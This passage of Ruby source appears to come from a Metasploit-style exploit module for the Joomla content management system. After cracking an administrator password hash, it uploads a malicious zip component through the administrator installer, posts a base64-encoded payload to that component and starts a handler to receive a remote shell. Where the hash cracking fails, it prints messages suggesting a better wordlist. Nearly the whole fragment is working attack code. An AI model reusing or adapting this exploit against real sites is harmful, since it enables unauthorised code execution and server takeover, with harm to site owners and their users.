    				wrap << "\xBF\x00\x00\x00\x45\x02\x00\x00\x00\x00"
    
    				# Verbose
    				print_status("Attempting to upload payload wrapper component")
    				
    				# Post data
    				data = {
    				
    					# Component data
    					'install_package' =>
    					{ 
    						'filename' =>czip,
    						'contents' =>wrap,
    						'mimetype' => 'application/zip',
    						'encoding' => 'binary',
    					},
    					
    					# Required install params
    					"installtype"=> "upload",
    					"task" => "install.install",
    					"#{rtok}"=> "1",
    				}
    				
    				# Upload the wrapper component
    				init_debug(http_post_multipart("administrator/index.php?option=\
    				com_installer&view=install", data, hdrs))
    
    				# Deliver the selected payload to the target
    				init_debug(http_post(curi, Rex::Text.encode_base64(load)))
    				
    				# Shell
    				handler
    				return
    			else
    			
    				# Verbose
    				print_error("Failed to crack hash. Searching for new admin account ...")
    			end # if
    		snum += 1
    		end # while
    		
    		# Verbose
    		print_error("Unable to crack any admin hashes. Try a better wordlist?")
    		return
    	end
    end